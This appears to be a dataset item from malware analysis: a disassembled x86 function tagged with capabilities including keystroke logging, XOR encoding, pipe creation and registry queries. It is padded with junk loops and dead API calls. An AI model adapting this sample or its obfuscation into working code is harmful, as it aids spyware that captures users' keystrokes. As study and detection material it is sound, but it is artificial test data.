Function at 0x10064b8e
Capabilities:
Create pipe
Encode data using xor
Log keystrokes via polling
Query or enumerate registry value

Disassembly:
mov eax, 0x10080040
call fcn.1007ec20
sub esp, 0x224
push ebx
push esi
push edi
mov dword [ebp - 0x44], ecx
lea ecx, [ebp - 0xf0]
push 4
mov byte [ebp - 0x39], dl
call fcn.100211fe
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x34], 0x2568
cmp dword [ebp - 0x34], 0x257f
jle 0x10064bef
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x10084b98
cdq
push edx
push eax
call fcn.10020ee4
inc edi
cmp edi, 0xf94
jl 0x10064bcd
inc esi
cmp esi, 0x4c8
jl 0x10064bcb
cmp dword [ebp - 0x34], 0x22bd
jge 0x10064c07
mov edx, 0x1000f6a0
mov ecx, 0x10084b98
call fcn.10023c34
push 1
mov dword [ebp - 0x10], ebx
pop edi
jmp 0x10064c1e
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xf0]
mov dword [eax + ecx*4], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10064c0f
mov esi, dword [ebp - 0xf0]
mov dword [esi + 8], ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x10064c40
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_Ellipse]
dec dword [esi + 8]
cmp dword [esi + 8], 0xfffffff9
jge 0x10064c2d
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf0]
mov dword [esi + 8], 0x647dc4b4
call fcn.10021280
mov dword [ebp - 0x18], 0xfffffffb
lea ecx, [ebp - 0x120]
push 2
call fcn.100211fe
mov dword [ebp - 4], edi
mov dword [ebp - 0x2c], 0x8b78acc4
mov dword [ebp - 0x10], ebx
jmp 0x10064c95
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x120]
mov dword [eax + ecx*4], 0x9e843631
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10064c82
mov dword [ebp - 0x34], 0x7179
cmp dword [ebp - 0x34], 0x7507
jle 0x10064d12
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov esi, ebx
mov edi, ebx
add eax, esi
mov ecx, edi
shl eax, cl
lea ecx, [ebp - 0x1d0]
cdq
push edx
push eax
call fcn.1001105e
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10064cd2
mov eax, dword [eax]
push eax
call fcn.10069ba3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x1d0]
call fcn.100219b4
mov eax, dword [ebp - 0x20]
inc edi
cmp edi, 0x5b7e
jl 0x10064cb4
inc esi
cmp esi, 0x6b60
jl 0x10064cb2
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x2ece
jl 0x10064cb0
push ebx
push ebx
call dword [sym.imp.GDI32.dll_RestoreDC]
xor edi, edi
inc edi
mov dword [ebp - 0x18], 0xe
cmp dword [ebp - 0x18], 0xf
jg 0x10064d89
mov esi, dword [ebp - 0x120]
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x10], ebx
jmp 0x10064d3a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8c], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10064d2d
mov dword [ebp - 0x20], 0x158d
xor edx, edx
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
sub ecx, 0x384a3911
cmp eax, ecx
setne dl
imul edx, dword [ebp - 0x8c]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
neg edx
mov dword [esi + 4], edx
mov dword [ebp - 0x28], edx
xor edx, edx
cmp ecx, eax
setge dl
xor eax, eax
cmp dword [ebp - 0x28], edx
setne al
mov dword [ebp - 0x20], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xf
jle 0x10064d25
cmp dword [ebp - 0x34], 0x6e0a
jge 0x10064d9d
push 0x1000f6b8
call fcn.10069ba3
pop ecx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10064dae
push ebx
push ebx
call dword [sym.imp.USER32.dll_EndPaint]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x120]
call fcn.10021280
mov dword [ebp - 0x10], 0x2c43
cmp dword [ebp - 0x10], 0x2ccd
jle 0x10064df3
mov esi, ebx
mov edi, ebx
lea eax, [edi + esi]
mov ecx, 0x10084b98
cdq
push edx
push eax
call fcn.10020ee4
inc edi
cmp edi, 0x55ba
jl 0x10064dd1
inc esi
cmp esi, 0xb4c
jl 0x10064dcf
push 2
pop esi
push esi
lea ecx, [ebp - 0x108]
call fcn.100211fe
xor ecx, ecx
mov dword [ebp - 4], esi
mov dword [ebp - 0x1c], ebx
inc ecx
jmp 0x10064e17
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x50], ebx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x10064e0d
mov dword [ebp - 0x1c], ebx
jmp 0x10064e34
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x108]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10064e21
mov esi, dword [ebp - 0x108]
mov dword [ebp - 0x24], esi
mov dword [esi + 4], ebx
mov dword [ebp - 0x20], 0x696f
cmp dword [ebp - 0x20], 0x6ae4
jle 0x10064eae
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov edi, ebx
mov ecx, edi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x28], ebx
shl esi, cl
mov ecx, ebx
mov eax, esi
shl eax, cl
mov ecx, 0x10084b98
cdq
push edx
push eax
call fcn.10020ee4
inc ebx
cmp ebx, 0x2e48
jl 0x10064e74
mov esi, dword [ebp - 0x34]
inc edi
push 0
pop ebx
cmp edi, 0x55d1
jl 0x10064e6a
inc esi
mov dword [ebp - 0x34], esi
cmp esi, 0x3a76
jl 0x10064e68
mov esi, dword [ebp - 0x24]
mov eax, dword [esi + 4]
mov ecx, dword [ebp + eax*4 - 0x50]
mov eax, dword [esi + 4]
mov dword [ebp + eax*4 - 0x50], ecx
cmp dword [ebp - 0x20], 0x6633
jge 0x10064ed4
mov edx, 0x1000f738
mov ecx, 0x10084b98
call fcn.10023c34
dec dword [esi + 4]
jns 0x10064e45
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10064eef
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetHandleInformation]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x108]
call fcn.10021280
cmp dword [ebp - 0x10], 0x2a4b
jge 0x10064f16
mov edx, 0x1000f6e8
mov ecx, 0x10084b98
call fcn.10023c34
mov eax, dword [0x1008c01c]
mov dword [ebp - 0x18], 0xda11525
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x30], 2
mov dword [ebp - 0x1c], 0x64c
cmp dword [ebp - 0x1c], 0x815
mov dword [ebp - 0x34], eax
jle 0x10064fc1
mov dword [ebp - 0x10], ebx
mov esi, ebx
mov dword [ebp - 0x18], ebx
mov eax, esi
mov dword [ebp - 0x24], 0x2ec8
mov esi, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov edi, ebx
mov ecx, edi
sar eax, cl
lea ecx, [ebp - 0x218]
or eax, esi
cdq
push edx
push eax
call fcn.1001105e
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10064f7a
mov eax, dword [eax]
push eax
call fcn.10069ba3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x218]
call fcn.100219b4
mov eax, dword [ebp - 0x20]
inc edi
cmp edi, 0x567a
jl 0x10064f5c
dec eax
dec dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
jne 0x10064f5a
mov esi, dword [ebp - 0x18]
inc esi
mov dword [ebp - 0x18], esi
cmp esi, 0x6ee8
jl 0x10064f4b
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp eax, 0xc7e
jl 0x10064f46
push 3
pop esi
push esi
lea ecx, [ebp - 0x17c]
call fcn.100211fe
mov dword [ebp - 4], esi
cmp dword [ebp - 0x1c], 0x491
jge 0x10064fe7
push 0x1000f780
call fcn.10069ba3
pop ecx
mov dword [ebp - 0x30], 0x84bc9c3d
mov dword [ebp - 0x30], 0xf8e3bf11
mov dword [ebp - 0x30], 8
mov dword [ebp - 0x28], 0xffffffff
mov dword [ebp - 0x24], 0x23ea
cmp dword [ebp - 0x24], 0x2560
jle 0x1006507a
mov eax, ebx
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x10], ebx
mov ecx, edi
mov esi, ebx
sar eax, cl
mov dword [ebp - 0x18], eax
mov edi, eax
mov dword [ebp - 0x2c], ebx
mov ecx, esi
shl edi, cl
mov ecx, ebx
mov eax, edi
shl eax, cl
mov ecx, 0x10084b98
cdq
push edx
push eax
call fcn.10020ee4
inc ebx
cmp ebx, 0x6265
jl 0x1006502f
mov eax, dword [ebp - 0x18]
inc esi
push 0
pop ebx
cmp esi, 0x3d7c
jl 0x10065026
mov edi, dword [ebp - 0x10]
mov eax, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x10], edi
cmp edi, 0x8f9
jl 0x1006501d
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x57c1
jl 0x10065018
push 3
pop esi
cmp dword [ebp - 0x24], 0x23a0
jge 0x10065092
mov edx, 0x1000f7d8
mov ecx, 0x10084b98
call fcn.10023c34
xor edi, edi
mov dword [ebp - 0x1c], ebx
inc edi
jmp 0x100650a8
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x7c], 9
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1006509a
mov dword [ebp - 0x1c], ebx
jmp 0x100650c5
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x17c]
mov dword [eax + ecx*4], 0x7222631
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x100650b2
mov dword [ebp - 0x1c], ebx
jmp 0x100650e0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1b8], 0xb168
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jl 0x100650cf
mov dword [ebp - 0x1c], ebx
jmp 0x100650fc
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x160], 0x5755261f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x100650eb
mov dword [ebp - 0x18], ebx
jmp 0x10065110
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x7c], esi
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jl 0x10065106
inc dword [ebp - 0x28]
lea ecx, [ebp - 0x17c]
or dword [ebp - 4], 0xffffffff
call fcn.10021280
cmp byte [ebp - 0x39], 0
mov esi, dword [ebp + 8]
mov dword [esi], ebx
mov dword [esi + 4], ebx
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
je 0x10065290
cmp dword [ebp - 0x34], edi
jne 0x10065290
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], 0x4401d1b9
mov dword [ebp - 0x1c], 0x3051ebf0
mov dword [ebp - 0x10], ebx
jmp 0x1006516f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1b0], 0xfffffffa
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x1006515e
mov dword [ebp - 0x10], 0x78ca
cmp dword [ebp - 0x10], 0x7a55
jle 0x100651be
mov esi, ebx
mov edi, ebx
mov eax, edi
mov ecx, 0x10084b98
and eax, esi
cdq
push edx
push eax
call fcn.10020ee4
inc edi
cmp edi, 0x1536
jl 0x10065189
inc esi
cmp esi, 0xf80
jl 0x10065187
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov esi, dword [ebp + 8]
xor edi, edi
inc edi
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x18]
cmp eax, ecx
setg dl
imul edx, dword [ebp - 0x18]
test edx, edx
je 0x100651e3
mov ecx, edi
cmp dword [ebp - 0x20], ebx
jne 0x100651e5
mov ecx, ebx
xor eax, eax
cmp ecx, 0x72276b87
setle al
xor edx, edx
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp eax, 0x7d39
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x18]
je 0x1006522d
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065250
push ebx
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10065250
cmp dword [ebp - 0x1c], ebx
je 0x1006523e
mov dword [ebp - 0x28], 0x6eab3cf8
dec dword [ebp - 0x28]
jmp 0x10065250
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065250
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_CheckDlgButton]
cmp dword [ebp - 0x10], 0x7879
jge 0x10065268
mov edx, 0x1000f820
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x1c], ebx
jmp 0x1006527c
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x1b0], ebx
jne 0x10065282
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 2
jle 0x1006526d
mov dword [esi + 8], 4
mov dword [esi + 0xc], 0x1008c01c
mov dword [ebp - 0x1c], 0xbda7
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x10], ebx
jmp 0x100652ad
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x70], 9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x1006529f
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
add eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x1c]
jle 0x100652da
mov eax, ebx
cmp dword [ebp - 0x1c], ebx
je 0x100652dc
mov eax, edi
add eax, 0x2d7af2c9
push 6
pop ecx
cmp eax, ecx
mov eax, dword [ebp - 0x18]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x18], ebx
jmp 0x10065398
mov dword [ebp - 0x28], 0xffffffff
lea ecx, [ebp - 0xd8]
push 3
call fcn.100211fe
mov dword [ebp - 0x10], ebx
jmp 0x1006532a
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xd8]
mov dword [eax + ecx*4], 0x9515ed76
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10065317
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x70]
neg eax
je 0x10065341
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x70]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
setl dl
xor ecx, ecx
mov dword [ebp - 0x28], edx
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0xd8]
mov eax, dword [ebp + eax*4 - 0x70]
cmp eax, 0xffffffff
sete cl
imul ecx, dword [edx + 8]
imul eax, ecx, 0xcabe
xor ecx, ecx
cmp eax, 0xffffffff
setl cl
xor eax, eax
cmp ecx, 0xec8f9491
lea ecx, [ebp - 0xd8]
setne al
mov dword [edx + 8], eax
call fcn.10021280
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], edi
jle 0x100652fe
mov edi, dword [ebp - 0x44]
cmp edi, dword [ebp - 0x34]
jge 0x10066164
mov dword [ebp - 0x20], 0x1bd97a8
lea ecx, [ebp - 0xe4]
mov dword [ebp - 0x2c], 0xd609
mov dword [ebp - 0x30], 0x35357f45
push 6
pop eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ebx
push 0xfffffffffffffffd
pop eax
mov dword [ebp - 0x15c], eax
mov dword [ebp - 0x158], eax
mov dword [ebp - 0x154], eax
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x18], 0x65251c60
mov dword [ebp - 0x28], 0x246c382
mov dword [ebp - 0x30], 0x7bc35240
mov dword [ebp - 0x30], 3
mov dword [ebp - 0x2c], 0xb2415fb5
mov dword [ebp - 0x1c], 0x26128f3b
push 1
call fcn.100211fe
mov dword [ebp - 4], 4
lea eax, [ebp - 0x184]
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000fbb0]
lea ecx, [ebp - 0x88]
push eax
lea eax, [ebp - 0x194]
mov dword [ebp - 0x88], ebx
push eax
push ebx
movdqu xmmword [ebp - 0x194], xmm0
mov dword [ebp - 0x84], ebx
mov dword [ebp - 0x80], ebx
call fcn.100242f2
xor edx, edx
mov dword [ebp - 0x10], ebx
inc edx
jmp 0x1006547b
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0xe4]
mov dword [eax + ecx*4], 9
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x10065468
mov esi, ebx
cmp dword [ebp - 0x20], ebx
je 0x10065489
mov esi, edx
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov ecx, dword [ebp - 0x28]
mov eax, dword [ebp - 0xe4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x88]
dec dword [eax + 4]
cmp dword [eax + 4], 0xfffffffd
jle 0x100654b0
mov eax, ebx
cmp dword [ebp - 0x24], ebx
je 0x100654b2
mov eax, edx
mov dword [ebp - 0x28], eax
xor edx, edx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x28]
cmp eax, ecx
lea ecx, [ebp - 0x88]
setle dl
xor eax, eax
imul edx, dword [ebp - 0x1c]
cmp edx, 0x7ccce1cc
setne al
add eax, esi
mov dword [ebp - 0x2c], eax
call fcn.10021280
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe4]
call fcn.10021280
mov dword [ebp - 0x18], 0xffffffff
mov esi, 0x1008c020
mov dword [ebp - 0x2c], 0x42ad015b
mov dword [ebp - 0x30], 0x36fbc6a6
mov dword [ebp - 0x28], 0x206
cmp dword [ebp - 0x28], 0x37f
mov dword [ebp - 0x1c], esi
jle 0x1006556e
mov edi, ebx
mov esi, ebx
mov ecx, esi
mov eax, edi
shl eax, cl
lea ecx, [ebp - 0x1e8]
cdq
push edx
push eax
call fcn.1001105e
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1006553f
mov eax, dword [eax]
push eax
call fcn.10069ba3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x1e8]
call fcn.100219b4
inc esi
cmp esi, 0x5ba7
jl 0x10065521
inc edi
cmp edi, 0xfa
jl 0x1006551f
mov edi, dword [ebp - 0x44]
mov esi, 0x1008c020
mov dword [ebp - 0x10], ebx
jmp 0x10065581
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x4c], 0x871c7bf0
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 2
jl 0x10065573
cmp dword [ebp - 0x28], 0x7a
jge 0x10065598
push 0x1000f88c
call fcn.10069ba3
pop ecx
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x4c]
add eax, ecx
cmp eax, dword [ebp - 0x4c]
jle 0x1006563b
push dword [ebp + 8]
movdqa xmm0, xmmword [0x1000fbc0]
lea eax, [ebp - 0x194]
push eax
lea eax, [ebp - 0x1a4]
mov dword [ebp - 0x10], 0x2703
push eax
push ebx
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x98], ebx
movdqu xmmword [ebp - 0x1a4], xmm0
mov dword [ebp - 0x94], ebx
mov dword [ebp - 0x90], ebx
call fcn.100242f2
mov eax, dword [ebp - 0x98]
cmp dword [eax + 0xc], ebx
jne 0x10065624
mov eax, dword [ebp - 0x18]
xor ecx, ecx
cmp eax, 0xfff9
setne cl
cmp ecx, dword [ebp - 0x4c]
jne 0x10065615
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x4c]
lea ecx, [ebp - 0x98]
mov dword [ebp - 0x2c], 0xc5604491
call fcn.10021280
jmp 0x10065682
xor ecx, ecx
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x1006567d
mov dword [ebp - 0x28], 0x9c3f9080
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065664
push ebx
call dword [sym.imp.USER32.dll_DestroyCursor]
xor ecx, ecx
inc ecx
mov eax, dword [ebp - 0x18]
cmp dword [ebp + eax*4 - 0x4c], ebx
je 0x10065670
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x4c]
mov dword [ebp - 0x28], eax
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jle 0x1006564a
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065697
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov dword [ebp - 0x2c], ebx
test edi, edi
jle 0x10065ec4
push 2
lea ecx, [ebp - 0xb4]
call fcn.100211fe
mov dword [ebp - 0x18], ebx
jmp 0x100656c7
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xb4]
mov dword [eax + ecx*4], 0xfffffffb
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100656b4
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x100656e6
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x14c], 0x689351f2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x100656d5
mov eax, dword [ebp - 0xb4]
lea ecx, [ebp - 0xb4]
or dword [ebp - 4], 0xffffffff
mov dword [eax + 4], 0xfffffffd
call fcn.10021280
mov dword [ebp - 0x24], 0x21b1
cmp dword [ebp - 0x24], 0x22f0
jle 0x10065780
mov dword [ebp - 0x20], ebx
mov edi, ebx
mov dword [ebp - 0x10], ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 0x18], ebx
mov ecx, esi
mov esi, dword [ebp - 0x20]
mov ebx, edi
mov edi, dword [ebp - 0x18]
sar ebx, cl
mov ecx, edi
mov eax, ebx
shl eax, cl
mov ecx, 0x10084b98
xor eax, esi
cdq
push edx
push eax
call fcn.10020ee4
inc edi
cmp edi, 0x3e12
jl 0x10065733
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x10]
inc esi
mov dword [ebp - 0x28], esi
push 0
pop ebx
cmp esi, 0x40ba
jl 0x10065724
inc edi
mov dword [ebp - 0x10], edi
cmp edi, 0x26f8
jl 0x1006571f
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp eax, 0x1d93
jl 0x1006571a
cmp dword [ebp - 0x24], 0x1f4e
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x30], eax
jge 0x100657a0
mov edx, 0x1000f8a8
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x20], 0x309d
cmp dword [ebp - 0x20], 0x3286
jle 0x1006580b
mov ecx, ebx
mov dword [ebp - 0x10], ebx
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x28], ebx
mov ebx, esi
mov esi, 0x2aa9
mov eax, ebx
and eax, edi
xor eax, ecx
mov ecx, 0x10084b98
cdq
push edx
push eax
call fcn.10020ee4
mov ecx, dword [ebp - 0x10]
dec ebx
dec esi
jne 0x100657c3
mov esi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x28], esi
cmp esi, 0x445d
jl 0x100657bc
inc edi
push 0
pop ebx
cmp edi, 0x23fe
jl 0x100657b7
inc ecx
mov dword [ebp - 0x10], ecx
cmp ecx, 0x58f2
jl 0x100657b5
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalFree]
cmp dword [ebp - 0x20], 0x2e09
jge 0x10065823
mov edx, 0x1000f90c
mov ecx, 0x10084b98
call fcn.10023c34
push 6
pop esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0x18], 0x403ca955
mov dword [ebp - 0x10], ebx
jmp 0x10065846
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xfc], 1
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 3
jl 0x10065835
push 2
mov dword [ebp - 0x10], ebx
pop edi
jmp 0x10065a2f
push edi
lea ecx, [ebp - 0x114]
call fcn.100211fe
mov dword [ebp - 4], esi
mov dword [ebp - 0x24], ebx
jmp 0x1006587e
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x114]
mov dword [eax + ecx*4], 0xa2c7c8a6
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1006586b
mov esi, dword [ebp - 0x114]
mov dword [ebp - 0x40], esi
mov dword [esi + 4], edi
push edi
lea ecx, [ebp - 0x68]
call fcn.100211fe
mov byte [ebp - 4], 7
mov dword [ebp - 0x24], ebx
jmp 0x100658b1
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x68]
mov dword [eax + ecx*4], 0x25fa5fef
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100658a1
mov eax, dword [ebp - 0x10]
cmp dword [ebp + eax*4 - 0xfc], ebx
jne 0x100659f6
mov dword [ebp - 0x28], 0x312d
cmp dword [ebp - 0x28], 0x318d
jle 0x10065923
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x200]
or eax, edi
cdq
push edx
push eax
call fcn.1001105e
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100658f6
mov eax, dword [eax]
push eax
call fcn.10069ba3
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x200]
call fcn.100219b4
inc esi
cmp esi, 0x4bc6
jl 0x100658da
inc edi
cmp edi, 0x7992
jl 0x100658d8
mov esi, dword [ebp - 0x40]
push 2
pop edi
mov eax, dword [ebp - 0x68]
mov dword [eax], ebx
mov dword [ebp - 0x24], 0xbc106ec6
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065941
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 0x24], edi
cmp dword [ebp - 0x24], ebx
jl 0x100659bc
mov dword [ebp - 0x18], 0x5f996f37
mov dword [ebp - 0x18], edi
cmp dword [ebp - 0x18], ebx
jl 0x10065990
mov dword [ebp - 0x20], 0xfffffff6
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x1006596e
call dword [sym.imp.USER32.dll_GetDoubleClickTime]
mov dword [ebp - 0x20], edi
cmp dword [ebp - 0x20], ebx
jl 0x1006598b
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10065986
push ebx
call dword [sym.imp.USER32.dll_DestroyCursor]
dec dword [ebp - 0x20]
jns 0x10065976
dec dword [ebp - 0x18]
jns 0x10065958
mov eax, dword [ebp - 0x68]
mov eax, dword [eax]
mov eax, dword [ebp + eax*4 - 0xfc]
cmp eax, dword [ebp - 0x24]
jle 0x100659b2
mov eax, dword [ebp - 0x68]
cmp dword [eax], ebx
je 0x100659b2
cmp dword [ebp - 0x24], ebx
je 0x100659b2
xor eax, eax
inc eax
jmp 0x100659b4
mov eax, ebx
mov dword [ebp - 0x18], eax
dec dword [ebp - 0x24]
jns 0x10065949
mov eax, dword [ebp - 0x68]
inc dword [eax]
cmp dword [eax], edi
jle 0x10065928
cmp dword [ebp - 0x28], 0x2ef2
jge 0x100659dd
push 0x1000f924
call fcn.10069ba3
pop ecx
push 6
pop eax
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], al
call fcn.10021280
dec dword [esi + 4]
jns 0x1006588f
jmp 0x100659fe
lea ecx, [ebp - 0x68]
call fcn.10021280
mov dword [ebp - 0x18], ebx
jmp 0x10065a14
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0xfc], 0xfffffffc
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 3
jl 0x10065a03
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x114]
call fcn.10021280
inc dword [ebp - 0x10]
push 6
pop esi
cmp dword [ebp - 0x10], edi
jle 0x10065857
mov esi, dword [ebp - 0x1c]
push 6
pop eax
mov dword [ebp - 0x18], eax
add esi, 4
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xa
mov dword [ebp - 0x1c], esi
jle 0x10065b7b
